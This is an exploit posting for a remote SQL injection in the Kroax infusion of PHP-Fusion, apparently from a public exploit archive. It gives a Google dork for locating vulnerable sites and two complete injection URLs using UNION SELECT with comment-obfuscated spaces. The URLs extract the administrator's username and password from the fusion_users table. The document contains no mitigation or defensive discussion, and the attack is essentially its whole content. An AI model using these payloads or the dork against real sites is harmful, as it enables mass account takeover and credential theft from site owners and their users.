========================================================== The kroax php_fusion Remote SQL-injection. ========================================================== ################################## Author : boom3rang Contact : boomerang@knaqu-shqipe.de webpage : www.khg-crew.ws ################################## --- Remote SQL Injection --- [+]Google Dork: inurl:"kroax.php?category" -------------- Exploit -------------- example: www.site.com/infusions/the_kroax/kroax.php?category= [SQL] [+] username: www.xxx-site.com/infusions/the_kroax/kroax.php?category=-9999/**/union/**/all/**/select/**/1,user_name,3,4,5,6/**/from/**/fusion_users/**/where/**/user_id=1--&boom3rang [+] password: www.xxx-site.com/infusions/the_kroax/kroax.php?category=-9999/**/union/**/all/**/select/**/1,user_password,3,4,5,6/**/from/**/fusion_users/**/where/**/user_id=1--&boom3rang\ ps. To find username use first "SQL" with table_name user_name, and for password use second "SQL" with table_name user_password. ========================================================== Greetz to: All my Albanian brothers ==========================================================